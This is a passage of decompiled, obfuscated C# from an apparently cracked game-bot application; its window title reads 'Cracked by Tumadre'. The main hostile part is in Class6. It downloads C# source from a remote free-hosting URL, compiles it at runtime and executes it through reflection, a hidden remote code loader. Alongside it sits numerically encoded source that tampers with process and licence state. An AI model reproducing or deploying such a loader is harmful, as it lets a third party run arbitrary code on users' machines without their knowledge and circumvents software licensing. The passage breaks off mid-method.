(!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_2(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_12(this.textBox_0))) { num14 = 542541252; num15 = 542541252; } else goto label_45; label_31: goto label_43; label_45: int num16 = 2028546992; num15 = 2028546992; num14 = num16; goto label_31; } // Method method_10 with token 06000044 private void method_10(/*Parameter with token 08000042*/object sender, /*Parameter with token 08000043*/RoutedEventArgs e) { if (kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_24((CollectionView) kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_16((ItemsControl) this.listBox_0)) > 0) goto label_12; label_8: int num1 = -1391596401; label_9: while (true) { int num2 = -55623101; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 5U) { case 0: goto label_8; case 1: int num4; int num5; if (!kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_38(ArgsParser.LicenseKey)) { int num6 = 585002553; num5 = 585002553; num4 = num6; } else { num4 = 1657542164; num5 = 1657542164; } int num7 = (int) num3 * -1587599404; num1 = num4 ^ num7; continue; case 2: this.method_7((object) null, (RoutedEventArgs) null); num1 = (int) num3 * 1619054778 ^ 1143290182; continue; case 3: goto label_12; case 4: goto label_13; default: goto label_10; } } label_10: return; label_13: return; label_12: int num8; if (!ArgsParser.AutoAttachAndLog) { num1 = -272514332; num8 = -272514332; } else goto label_11; label_2: goto label_9; label_11: int num9 = -1359722938; num8 = -1359722938; num1 = num9; goto label_2; } // Method method_11 with token 06000045 private void method_11(/*Parameter with token 08000044*/object sender, /*Parameter with token 08000045*/RoutedEventArgs e) { kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_39(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_6<string>(368667232U))); } // Method method_12 with token 06000046 private void method_12(/*Parameter with token 08000046*/object sender, /*Parameter with token 08000047*/RoutedEventArgs e) { kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_39(kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_0(\u003CModule\u003E.smethod_3<string>(4137866408U))); } // Method InitializeComponent with token 06000047 [/*Attribute with token 0C000013*/DebuggerNonUserCode] [/*Attribute with token 0C000014*/GeneratedCode("PresentationBuildTasks", "4.0.0.0")] public void InitializeComponent() { if (!this.bool_0) goto label_5; label_2: int num1 = -956499190; label_3: Uri uri_0; while (true) { int num2 = -384287722; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 5U) { case 1: goto label_5; case 2: goto label_4; case 3: goto label_2; case 4: uri_0 = kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_40(\u003CModule\u003E.smethod_5<string>(858465445U), UriKind.Relative); num1 = (int) num3 * 296925804 ^ 152427943; continue; default: goto label_6; } } label_4: return; label_6: kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_41((object) this, uri_0); return; label_5: this.bool_0 = true; num1 = -1974800528; goto label_3; } // Method System.Windows.Markup.IComponentConnector.Connect with token 06000048 [/*Attribute with token 0C000015*/DebuggerNonUserCode] [/*Attribute with token 0C000016*/GeneratedCode("PresentationBuildTasks", "4.0.0.0")] [/*Attribute with token 0C000017*/EditorBrowsable(EditorBrowsableState.Never)] void IComponentConnector.Connect(/*Parameter with token 08000048*/int connectionId, /*Parameter with token 08000049*/object target) { int num1; switch (connectionId) { case 1: label_7: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_42((FrameworkElement) target, new EventHandler((object) this, __methodptr(method_9))); num1 = 1564644808; break; case 2: label_2: this.listBox_0 = (System.Windows.Controls.ListBox) target; num1 = 928659098; break; case 3: label_23: this.textBox_0 = (System.Windows.Controls.TextBox) target; return; case 4: label_8: this.button_0 = (System.Windows.Controls.Button) target; num1 = 1583683198; break; case 5: label_6: this.button_1 = (System.Windows.Controls.Button) target; num1 = 1041166519; break; case 6: label_1: this.button_2 = (System.Windows.Controls.Button) target; num1 = 1906566265; break; case 7: label_12: this.button_3 = (System.Windows.Controls.Button) target; num1 = 1171661703; break; case 8: label_15: this.button_4 = (System.Windows.Controls.Button) target; num1 = 353740043; break; default: label_3: num1 = 1072657983; break; } while (true) { int num2 = 1425706713; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 22U) { case 0: goto label_14; case 1: goto label_12; case 2: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_1, new RoutedEventHandler((object) this, __methodptr(method_5))); num1 = (int) num3 * -240174338 ^ 1736247549; continue; case 3: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_0, new RoutedEventHandler((object) this, __methodptr(method_7))); num1 = (int) num3 * -403553031 ^ -1934437028; continue; case 4: num1 = (int) num3 * -816442928 ^ 312021072; continue; case 6: goto label_8; case 7: goto label_7; case 8: goto label_6; case 9: goto label_15; case 10: goto label_18; case 11: goto label_16; case 12: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_2, new RoutedEventHandler((object) this, __methodptr(method_6))); num1 = (int) num3 * -709805608 ^ 458253620; continue; case 13: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_44((Selector) this.listBox_0, new SelectionChangedEventHandler((object) this, __methodptr(method_1))); num1 = (int) num3 * 1350474881 ^ -803550983; continue; case 14: goto label_19; case 15: goto label_3; case 16: goto label_21; case 17: goto label_22; case 18: goto label_2; case 19: goto label_20; case 20: goto label_23; case 21: goto label_1; default: goto label_17; } } label_16: return; label_19: return; label_20: return; label_14: return; label_17: this.bool_0 = true; return; label_18: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_4, new RoutedEventHandler((object) this, __methodptr(method_11))); return; label_21: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_45((System.Windows.Controls.Primitives.ButtonBase) this.button_3, new RoutedEventHandler((object) this, __methodptr(method_12))); return; label_22: // ISSUE: method pointer kNzcCLURuuOPXhXhjmZTDuHbdDND.smethod_43((FrameworkElement) target, new RoutedEventHandler((object) this, __methodptr(method_10))); } // Method smethod_0 with token 06000049 static string smethod_0(/*Parameter with token 0800004A*/string string_1) { return Translate.Get(string_1); } // Method method_13 with token 0600004A void method_13(/*Parameter with token 0800004B*/string string_1) { this.Title = "Cracked by Tumadre"; } // Method smethod_1 with token 0600004B static object smethod_1(/*Parameter with token 0800004C*/Selector selector_0) { return selector_0.SelectedItem; } // Method smethod_2 with token 0600004C static bool smethod_2(/*Parameter with token 0800004D*/string string_1) { return string.IsNullOrWhiteSpace(string_1); } // Method smethod_3 with token 0600004D static void smethod_3(/*Parameter with token 0800004E*/System.Windows.Controls.TextBox textBox_1, /*Parameter with token 0800004F*/string string_1) { textBox_1.Text = "Tumadre"; } // Method smethod_4 with token 0600004E static int smethod_4(/*Parameter with token 08000050*/Selector selector_0) { return selector_0.SelectedIndex; } // Method smethod_5 with token 0600004F static string smethod_5(/*Parameter with token 08000051*/string[] string_1) { return string.Concat(string_1); } // Method smethod_6 with token 06000050 static void smethod_6(/*Parameter with token 08000052*/ContentControl contentControl_0, /*Parameter with token 08000053*/object object_0) { contentControl_0.Content = object_0; } // Method smethod_7 with token 06000051 static string smethod_7() { return System.Windows.Forms.Application.StartupPath; } // Method smethod_8 with token 06000052 static string smethod_8(/*Parameter with token 08000054*/string string_1, /*Parameter with token 08000055*/string string_2) { return string_1 + string_2; } // Method smethod_9 with token 06000053 static bool smethod_9(/*Parameter with token 08000056*/string string_1) { return Others.ExistFile(string_1); } // Method smethod_10 with token 06000054 static Encoding smethod_10() { return Encoding.Default; } // Method smethod_11 with token 06000055 static string[] smethod_11(/*Parameter with token 08000057*/string string_1, /*Parameter with token 08000058*/Encoding encoding_0) { return File.ReadAllLines(string_1, encoding_0); } // Method smethod_12 with token 06000056 static string smethod_12(/*Parameter with token 08000059*/System.Windows.Controls.TextBox textBox_1) { return textBox_1.Text; } // Method smethod_13 with token 06000057 static bool smethod_13(/*Parameter with token 0800005A*/string string_1, /*Parameter with token 0800005B*/string string_2) { return string_1 != string_2; } // Method smethod_14 with token 06000058 static void smethod_14(/*Parameter with token 0800005C*/string string_1, /*Parameter with token 0800005D*/string string_2) { Others.WriteFile(string_1, string_2); } // Method smethod_15 with token 06000059 static string smethod_15(/*Parameter with token 0800005E*/string[] string_1) { return Others.ArrayToTextByLine(string_1); } // Method smethod_16 with token 0600005A static ItemCollection smethod_16(/*Parameter with token 0800005F*/ItemsControl itemsControl_0) { return itemsControl_0.Items; } // Method smethod_17 with token 0600005B static IEnumerator smethod_17(/*Parameter with token 08000060*/IEnumerable ienumerable_0) { return ienumerable_0.GetEnumerator(); } // Method smethod_18 with token 0600005C static object smethod_18(/*Parameter with token 08000061*/IEnumerator ienumerator_0) { return ienumerator_0.Current; } // Method smethod_19 with token 0600005D static bool smethod_19(/*Parameter with token 08000062*/string string_1, /*Parameter with token 08000063*/string string_2) { return string_1 == string_2; } // Method smethod_20 with token 0600005E static bool smethod_20(/*Parameter with token 08000064*/IEnumerator ienumerator_0) { return ienumerator_0.MoveNext(); } // Method smethod_21 with token 0600005F static void smethod_21(/*Parameter with token 08000065*/IDisposable idisposable_0) { idisposable_0.Dispose(); } // Method smethod_22 with token 06000060 static string smethod_22(/*Parameter with token 08000066*/string string_1) { return string_1.Trim(); } // Method smethod_23 with token 06000061 static int smethod_23(/*Parameter with token 08000067*/ItemCollection itemCollection_0, /*Parameter with token 08000068*/object object_0) { return itemCollection_0.Add(object_0); } // Method smethod_24 with token 06000062 static int smethod_24(/*Parameter with token 08000069*/CollectionView collectionView_0) { return collectionView_0.Count; } // Method smethod_25 with token 06000063 static void smethod_25(/*Parameter with token 0800006A*/Selector selector_0, /*Parameter with token 0800006B*/int int_0) { selector_0.SelectedIndex = int_0; } // Method smethod_26 with token 06000064 static void smethod_26(/*Parameter with token 0800006C*/ItemCollection itemCollection_0, /*Parameter with token 0800006D*/object object_0) { itemCollection_0.Remove(object_0); } // Method smethod_27 with token 06000065 static void smethod_27(/*Parameter with token 0800006E*/Window window_0) { window_0.Close(); } // Method smethod_28 with token 06000066 static DirectoryInfo smethod_28(/*Parameter with token 0800006F*/string string_1) { return Directory.CreateDirectory(string_1); } // Method smethod_29 with token 06000067 static StreamWriter smethod_29(/*Parameter with token 08000070*/string string_1) { return new StreamWriter(string_1); } // Method smethod_30 with token 06000068 static string smethod_30(/*Parameter with token 08000071*/string string_1) { return Others.StringToEncryptString(string_1); } // Method smethod_31 with token 06000069 static void smethod_31(/*Parameter with token 08000072*/TextWriter textWriter_0, /*Parameter with token 08000073*/string string_1) { textWriter_0.WriteLine(string_1); } // Method smethod_32 with token 0600006A static void smethod_32(/*Parameter with token 08000074*/TextWriter textWriter_0) { textWriter_0.Close(); } // Method smethod_33 with token 0600006B static bool smethod_33(/*Parameter with token 08000075*/string string_1) { return File.Exists(string_1); } // Method smethod_34 with token 0600006C static void smethod_34(/*Parameter with token 08000076*/string string_1) { File.Delete(string_1); } // Method smethod_35 with token 0600006D static string smethod_35(/*Parameter with token 08000077*/string string_1, /*Parameter with token 08000078*/string string_2, /*Parameter with token 08000079*/string string_3) { return string_1 + string_2 + string_3; } // Method smethod_36 with token 0600006E static void smethod_36(/*Parameter with token 0800007A*/FrameworkElement frameworkElement_0, /*Parameter with token 0800007B*/object object_0) { frameworkElement_0.ToolTip = object_0; } // Method smethod_37 with token 0600006F static string smethod_37(/*Parameter with token 0800007C*/string string_1) { return Others.EncryptStringToString(string_1); } // Method smethod_38 with token 06000070 static bool smethod_38(/*Parameter with token 0800007D*/string string_1) { return string.IsNullOrEmpty(string_1); } // Method smethod_39 with token 06000071 static void smethod_39(/*Parameter with token 0800007E*/string string_1) { Others.OpenWebBrowserOrApplication(string_1); } // Method smethod_40 with token 06000072 static Uri smethod_40(/*Parameter with token 0800007F*/string string_1, /*Parameter with token 08000080*/UriKind uriKind_0) { return new Uri(string_1, uriKind_0); } // Method smethod_41 with token 06000073 static void smethod_41(/*Parameter with token 08000081*/object object_0, /*Parameter with token 08000082*/Uri uri_0) { System.Windows.Application.LoadComponent(object_0, uri_0); } // Method smethod_42 with token 06000074 static void smethod_42(/*Parameter with token 08000083*/FrameworkElement frameworkElement_0, /*Parameter with token 08000084*/EventHandler eventHandler_0) { frameworkElement_0.Initialized += eventHandler_0; } // Method smethod_43 with token 06000075 static void smethod_43(/*Parameter with token 08000085*/FrameworkElement frameworkElement_0, /*Parameter with token 08000086*/RoutedEventHandler routedEventHandler_0) { frameworkElement_0.Loaded += routedEventHandler_0; } // Method smethod_44 with token 06000076 static void smethod_44(/*Parameter with token 08000087*/Selector selector_0, /*Parameter with token 08000088*/SelectionChangedEventHandler selectionChangedEventHandler_0) { selector_0.SelectionChanged += selectionChangedEventHandler_0; } // Method smethod_45 with token 06000077 static void smethod_45(/*Parameter with token 08000089*/System.Windows.Controls.Primitives.ButtonBase buttonBase_0, /*Parameter with token 0800008A*/RoutedEventHandler routedEventHandler_0) { buttonBase_0.Click += routedEventHandler_0; } } '===================================================================== using Microsoft.CSharp; using robotManager.Helpful; using System; using System.CodeDom.Compiler; using System.Collections.Generic; using System.Collections.Specialized; using System.Diagnostics; using System.Globalization; using System.Linq; using System.Reflection; using System.Runtime.CompilerServices; using System.Text; using System.Threading; // Type Class6 with token 02000017 internal static class Class6 { // Field assembly_0 with token 0400008D private static Assembly assembly_0; // Field object_0 with token 0400008E private static object object_0; // Method smethod_0 with token 0600017A private static string smethod_0(/*Parameter with token 080001C4*/string string_0, /*Parameter with token 080001C5*/int int_0) { string str; try { string string_0_1 = Class6.smethod_4(Class6.smethod_3(\u003CModule\u003E.smethod_5<string>(793900275U), \u003CModule\u003E.smethod_2<string>(3742587920U)), \u003CModule\u003E.smethod_2<string>(2962239542U), ""); label_61: int num1 = -1495049359; List<byte> byteList; string[] strArray1; int num2; while (true) { int num3 = -1115123083; int int_0_1; char ch; uint num4; switch ((num4 = (uint) (num1 ^ num3)) % 29U) { case 0: num1 = (int) num4 * -1182630790 ^ 408587856; continue; case 1: int num5; int num6; if (!(ch.ToString((IFormatProvider) Class6.smethod_6()) == \u003CModule\u003E.smethod_5<string>(1304763033U))) { int num7 = 246016696; num6 = 246016696; num5 = num7; } else { num5 = 1450371982; num6 = 1450371982; } int num8 = (int) num4 * 1199604576; num1 = num5 ^ num8; continue; case 2: int num9; int num10; if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(1112736550U)) { int num7 = 643508921; num10 = 643508921; num9 = num7; } else { num9 = 13718873; num10 = 13718873; } int num11 = (int) num4 * 979605157; num1 = num9 ^ num11; continue; case 3: int num12; int num13; if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(2873989452U)) { int num7 = 1454757150; num13 = 1454757150; num12 = num7; } else { num12 = 448570802; num13 = 448570802; } int num14 = (int) num4 * -1398992912; num1 = num12 ^ num14; continue; case 4: int num15 = num2; ch = string_0_1[int_0_1]; int num16 = Others.ParseInt(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture)); num2 = num15 + num16; num1 = -38182496; continue; case 5: int num17; int num18; if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(2274258089U))) { int num7 = -741771401; num18 = -741771401; num17 = num7; } else { num17 = -1833319897; num18 = -1833319897; } int num19 = (int) num4 * -2075025183; num1 = num17 ^ num19; continue; case 6: ch = string_0_1[int_0_1]; num1 = (int) num4 * 1425753921 ^ -2131817049; continue; case 7: int num20; int num21; if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_6<string>(1877224577U)) { int num7 = -1435542261; num21 = -1435542261; num20 = num7; } else { num20 = -1096662646; num21 = -1096662646; } int num22 = (int) num4 * -975657247; num1 = num20 ^ num22; continue; case 8: ch = string_0_1[int_0_1]; num1 = (int) num4 * -1603196349 ^ 27961315; continue; case 9: int_0_1 = 0; num1 = (int) num4 * 1924188751 ^ 1107095571; continue; case 10: num2 = 0; num1 = (int) num4 * -425053165 ^ -1986135983; continue; case 11: ch = string_0_1[int_0_1]; int num23; int num24; if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_2<string>(3261899503U))) { int num7 = -1904589121; num24 = -1904589121; num23 = num7; } else { num23 = -1361566726; num24 = -1361566726; } int num25 = (int) num4 * 379259762; num1 = num23 ^ num25; continue; case 12: string[] strArray2 = string_0.Split(Convert.ToChar(\u003CModule\u003E.smethod_2<string>(2216439037U))); byteList = new List<byte>(); strArray1 = strArray2; num1 = (int) num4 * 2082856884 ^ 242946775; continue; case 13: ch = string_0_1[int_0_1]; num1 = (int) num4 * -2031529795 ^ -2103103864; continue; case 14: int num26; int num27; if (int_0_1 <= string_0_1.Length - 1) { int num7 = -1768176296; num27 = -1768176296; num26 = num7; } else { num26 = -116105449; num27 = -116105449; } num1 = num26; continue; case 15: ch = string_0_1[int_0_1]; num1 = (int) num4 * 1720265770 ^ 1376562472; continue; case 16: int num28; int num29; if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_6<string>(2930192271U)) { int num7 = -1427055884; num29 = -1427055884; num28 = num7; } else { num28 = -271313901; num29 = -271313901; } int num30 = (int) num4 * 670516757; num1 = num28 ^ num30; continue; case 17: ch = Class6.smethod_5(string_0_1, int_0_1); num1 = -1906738480; continue; case 18: ch = string_0_1[int_0_1]; num1 = (int) num4 * -1403713483 ^ -1230907046; continue; case 19: int num31; int num32; if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_2<string>(2378901441U))) { int num7 = -2041206364; num32 = -2041206364; num31 = num7; } else { num31 = -2107391596; num32 = -2107391596; } int num33 = (int) num4 * 390117955; num1 = num31 ^ num33; continue; case 20: ch = string_0_1[int_0_1]; num1 = (int) num4 * -862767311 ^ -802359476; continue; case 21: int num34; int num35; if (ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_5<string>(2682614490U)) { int num7 = -1668382463; num35 = -1668382463; num34 = num7; } else { num34 = -653875249; num35 = -653875249; } int num36 = (int) num4 * 1516473113; num1 = num34 ^ num36; continue; case 22: goto label_62; case 23: int num37; int num38; if (!(ch.ToString((IFormatProvider) CultureInfo.InvariantCulture) == \u003CModule\u003E.smethod_4<string>(2418592611U))) { int num7 = -1231555730; num38 = -1231555730; num37 = num7; } else { num37 = -1344435488; num38 = -1344435488; } int num39 = (int) num4 * 439085026; num1 = num37 ^ num39; continue; case 24: ++int_0_1; num1 = -192513956; continue; case 25: ch = string_0_1[int_0_1]; num1 = (int) num4 * -38197077 ^ 1339645947; continue; case 26: goto label_61; case 27: ch = string_0_1[int_0_1]; num1 = (int) num4 * -525011162 ^ -1423868524; continue; default: goto label_77; } } label_62: int index = 0; label_73: int num40; if (index >= strArray1.Length) num40 = -1547183402; else goto label_77; label_75: while (true) { int num3 = -1115123083; uint num4; switch ((num4 = (uint) (num40 ^ num3)) % 4U) { case 0: goto label_76; case 1: goto label_73; case 3: str = new UTF8Encoding().GetString(byteList.ToArray()); num40 = (int) num4 * -347048425 ^ 256525138; continue; default: goto label_80; } } label_76: num40 = -1271325624; goto label_75; label_77: string longString = strArray1[index]; try { if (longString != string.Empty) { label_66: int num3 = -436430515; while (true) { int num4 = -1115123083; uint num5; switch ((num5 = (uint) (num3 ^ num4)) % 3U) { case 1: byteList.Add(Convert.ToByte(Others.ParseLong(longString) - (long) num2 - (long) (int_0 * 2))); num3 = (int) num5 * -1291347356 ^ 1947880098; continue; case 2: goto label_66; default: goto label_71; } } } } catch (Exception ex) { label_70: int num3 = -2044844845; while (true) { int num4 = -1115123083; uint num5; switch ((num5 = (uint) (num3 ^ num4)) % 3U) { case 0: goto label_70; case 2: Logging.WriteError(\u003CModule\u003E.smethod_5<string>(500018956U) + (object) ex, true); num3 = (int) num5 * -137860071 ^ -769592091; continue; default: goto label_71; } } } label_71: ++index; goto label_76; } catch (Exception ex) { Logging.WriteError(\u003CModule\u003E.smethod_4<string>(408122158U) + (object) ex, true); } return ""; label_80: return str; } // Method smethod_1 with token 0600017B public static void smethod_1(/*Parameter with token 080001C6*/string string_0) { // ISSUE: method pointer Thread thread_0 = Class6.smethod_7(new ParameterizedThreadStart((object) null, __methodptr(smethod_2))); Class6.smethod_8(thread_0, \u003CModule\u003E.smethod_6<string>(3983159965U)); Class6.smethod_9(thread_0, (object) string_0); } // Method smethod_2 with token 0600017C private static void smethod_2(/*Parameter with token 080001C7*/object object_1) { try { Class6.smethod_10(0, 5000); string string_0_1; try { string string_0_2 = (string) (ValueType) (int) "4266 4271 4252 4262 4259 4253 4186 4253 4262 4251 4269 4269 4186 4231 4251 4259 4264 4164 4277 4164 4186 4186 4186 4186 4266 4271 4252 4262 4259 4253 4186 4272 4265 4259 4254 4186 4227 4264 4259 4270 4259 4251 4262 4259 4276 4255 4194 4195 4164 4186 4186 4186 4186 4277 4164 4186 4186 4186 4186 4186 4186 4186 4186 4270 4268 4275 4164 4186 4186 4186 4186 4186 4186 4186 4186 4277 4164 4163 4163 4163 4272 4251 4268 4186 4255 4274 4255 4237 4270 4268 4259 4264 4257 4186 4215 4186 4237 4275 4269 4270 4255 4263 4200 4227 4233 4200 4224 4259 4262 4255 4200 4236 4255 4251 4254 4219 4262 4262 4238 4255 4274 4270 4194 4237 4275 4269 4270 4255 4263 4200 4241 4259 4264 4254 4265 4273 4269 4200 4224 4265 4268 4263 4269 4200 4219 4266 4266 4262 4259 4253 4251 4270 4259 4265 4264 4200 4237 4270 4251 4268 4270 4271 4266 4234 4251 4270 4258 4186 4197 4186 4218 4188 4246 4188 4186 4197 4186 4237 4275 4269 4270 4255 4263 4200 4222 4259 4251 4257 4264 4265 4269 4270 4259 4253 4269 4200 4234 4268 4265 4253 4255 4269 4269 4200 4225 4255 4270 4221 4271 4268 4268 4255 4264 4270 4234 4268 4265 4253 4255 4269 4269 4194 4195 4200 4234 4268 4265 4253 4255 4269 4269 4232 4251 4263 4255 4186 4197 4186 4188 4200 4255 4274 4255 4188 4195 4213 4164 4163 4163 4163 4259 4256 4186 4194 4187 4255 4274 4255 4237 4270 4268 4259 4264 4257 4200 4221 4265 4264 4270 4251 4259 4264 4269 4194 4188 4258 4270 4270 4266 4212 4201 4201 4253 4268 4270 4200 4253 4265 4263 4265 4254 4265 4253 4251 4200 4253 4265 4263 4201 4221 4233 4231 4233 4222 4233 4236 4237 4219 4221 4265 4254 4255 4237 4259 4257 4264 4259 4264 4257 4221 4219 4200 4253 4268 4270 4188 4195 4195 4164 4163 4163 4163 4277 4164 4163 4163 4163 4163 4237 4275 4269 4270 4255 4263 4200 4238 4258 4268 4255 4251 4254 4259 4264 4257 4200 4238 4258 4268 4255 4251 4254 4200 4237 4262 4255 4255 4266 4194 4268 4265 4252 4265 4270 4231 4251 4264 4251 4257 4255 4268 4200 4226 4255 4262 4266 4256 4271 4262 4200 4233 4270 4258 4255 4268 4269 4200 4236 4251 4264 4254 4265 4263 4194 4203 4202 4202 4202 4198 4186 4203 4202 4202 4202 4186 4196 4186 4203 4204 4202 4195 4195 4213 4164 4163 4163 4163 4163 4237 4275 4269 4270 4255 4263 4200 4222 4259 4251 4257 4264 4265 4269 4270 4259 4253 4269 4200 4234 4268 4265 4253 4255 4269 4269 4200 4225 4255 4270 4221 4271 4268 4268 4255 4264 4270 4234 4268 4265 4253 4255 4269 4269 4194 4195 4200 4229 4259 4262 4262 4194 4195 4213 4164 4163 4163 4163 4279 4164 4163 4163 4163 4268 4265 4252 4265 4270 4231 4251 4264 4251 4257 4255 4268 4200 4226 4255 4262 4266 4256 4271 4262 4200 4240 4251 4268 4200 4237 4255 4270 4240 4251 4268 4194 4188 4227 4269 4237 4251 4256 4255 4238 4265 4239 4269 4255 4188 4198 4186 4270 4268 4271 4255 4195 4213 4164 4163 4163 4163 4268 4265 4252 4265 4270 4231 4251 4264 4251 4257 4255 4268 4200 4226 4255 4262 4266 4256 4271 4262 4200 4240 4251 4268 4200 4237 4255 4270 4240 4251 4268 4194 4188 4237 4255 4269 4269 4259 4265 4264 4229 4255 4275 4188 4198 4186 4188 4204 4205 4203 4211 4210 4205 4208 4210 4210 4203 4210 4202 4188 4195 4213 4164 4186 4186 4186 4186 4186 4186 4186 4186 4279 4164 4186 4186 4186 4186 4186 4186 4186 4186 4253 4251 4270 4253 4258 4186 4194 4237 4275 4269 4270 4255 4263 4200 4223 4274 4253 4255 4266 4270 4259 4265 4264 4186 4255 4195 4164 4186 4186 4186 4186 4186 4186 4186 4186 4277 4279 4164 4186 4186 4186 4186 4279 4164 4279 "; label_14: int num1 = 564380419; while (true) { int num2 = 1777762466; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 8U) { case 0: Class6.smethod_14(\u003CModule\u003E.smethod_2<string>(2781807447U), true); num1 = (int) num3 * -45027477 ^ 1996590559; continue; case 1: int num4; int num5; if (!Class6.smethod_13(string_0_2)) { int num6 = 1282995050; num5 = 1282995050; num4 = num6; } else { num4 = 25451549; num5 = 25451549; } int num7 = (int) num3 * -1043073745; num1 = num4 ^ num7; continue; case 3: goto label_14; case 4: int num8; int num9; if (!Class6.smethod_15(Class6.smethod_4(string_0_1, \u003CModule\u003E.smethod_2<string>(2216439037U), ""), string.Empty)) { int num6 = 1105797984; num9 = 1105797984; num8 = num6; } else { num8 = 1513096052; num9 = 1513096052; } int num10 = (int) num3 * -159273932; num1 = num8 ^ num10; continue; case 5: goto label_34; case 6: goto label_16; case 7: string_0_1 = Class6.smethod_3(Class6.smethod_11((object) "http://tumadre.000webhostapp.com/code.php"), "code=true"); num1 = 548254726; continue; default: goto label_18; } } label_34: return; label_16: Class6.smethod_14(\u003CModule\u003E.smethod_2<string>(2018832399U), true); return; } catch (Exception ex) { Class6.smethod_14(Class6.smethod_12((object) \u003CModule\u003E.smethod_6<string>(824256883U), (object) ex), true); return; } label_18: Class6.assembly_0 = (Assembly) null; label_31: int num11 = 428722029; while (true) { int num1 = 1777762466; uint num2; CompilerResults compilerResults_0; string string_1; switch ((num2 = (uint) (num11 ^ num1)) % 9U) { case 0: Class6.smethod_14(Class6.smethod_25(\u003CModule\u003E.smethod_6<string>(3179481831U), string_1), true); num11 = (int) num2 * 290567119 ^ -644645057; continue; case 1: // ISSUE: method pointer string_1 = Class6.smethod_23(compilerResults_0).Cast<CompilerError>().Aggregate<CompilerError, string>(\u003CModule\u003E.smethod_2<string>(3690666717U), Class6.Class7.\u003C\u003E9__4_2 ?? (Class6.Class7.\u003C\u003E9__4_2 = new Func<string, CompilerError, string>((object) Class6.Class7.\u003C\u003E9, __methodptr(method_2)))); num11 = 432873107; continue; case 2: Class6.assembly_0 = Class6.smethod_26(compilerResults_0); num11 = 1082597889; continue; case 3: goto label_32; case 4: goto label_31; case 5: Class6.object_0 = Class6.smethod_27(Class6.assembly_0, \u003CModule\u003E.smethod_4<string>(2478882365U), true); num11 = (int) num2 * -957446206 ^ -1890044487; continue; case 6: Class6.object_0 = (object) null; CSharpCodeProvider csharpCodeProvider = Class6.smethod_16(); CompilerParameters compilerParameters_0_1 = Class6.smethod_17(); // ISSUE: method pointer // ISSUE: method pointer IEnumerable<string> source = ((IEnumerable<Assembly>) Class6.smethod_19(Class6.smethod_18())).Where<Assembly>(Class6.Class7.\u003C\u003E9__4_0 ?? (Class6.Class7.\u003C\u003E9__4_0 = new Func<Assembly, bool>((object) Class6.Class7.\u003C\u003E9, __methodptr(method_0)))).Select<Assembly, string>(Class6.Class7.\u003C\u003E9__4_1 ?? (Class6.Class7.\u003C\u003E9__4_1 = new Func<Assembly, string>((object) Class6.Class7.\u003C\u003E9, __methodptr(method_1)))); Class6.smethod_21(Class6.smethod_20(compilerParameters_0_1), source.ToArray<string>()); string str = string_0_1; CompilerParameters compilerParameters_0_2 = compilerParameters_0_1; string[] string_0_2 = new string[1]{ str }; compilerResults_0 = Class6.smethod_22((CodeDomProvider) csharpCodeProvider, compilerParameters_0_2, string_0_2); int num3; int num4; if (Class6.smethod_24(Class6.smethod_23(compilerResults_0))) { int num5 = 820866222; num4 = 820866222; num3 = num5; } else { num3 = 1834759452; num4 = 1834759452; } num11 = num3; continue; case 7: object object0 = Class6.object_0; if (object0 != null) { Class6.smethod_30((MethodBase) Class6.smethod_29(Class6.smethod_28(object0), \u003CModule\u003E.smethod_5<string>(1418586594U)), Class6.object_0, new object[0]); num11 = (int) num2 * -881233404 ^ -377459173; continue; } goto label_33; case 8: goto label_30; default: goto label_15; } } label_15: return; label_30: return; label_32: return; label_33:; } catch (Exception ex) { label_38: int num1 = 816977223; while (true) { int num2 = 1777762466; uint num3; switch ((num3 = (uint) (num1 ^ num2)) % 3U) { case 0: goto label_13; case 1: Class6.smethod_14(Class6.smethod_12((object) \u003CModule\u003E.smethod_5<string>(1207915278U), (object) ex), true); num1 = (int) num3 * -2107952440 ^ -1211813843; continue; case 2: goto label_38; default: goto label_39; } } label_39: return; label_13:; } } // Method smethod_3 with token 0600017D static string smethod_3(/*Parameter with token 080001C8*/string string_0, /*Parameter with token 080001C9*/string string_1) { return Others.GetRequest(string_0, string_1); } // Method smethod_4 with token 0600017E static string smethod_4(/*Parameter with token 080001CA*/string string_0, /*Parameter with token 080001CB*/string string_1, /*Parameter with token 080001CC*/string string_2) { return string_0.Replace(string_1, string_2); } // Method smethod_5 with 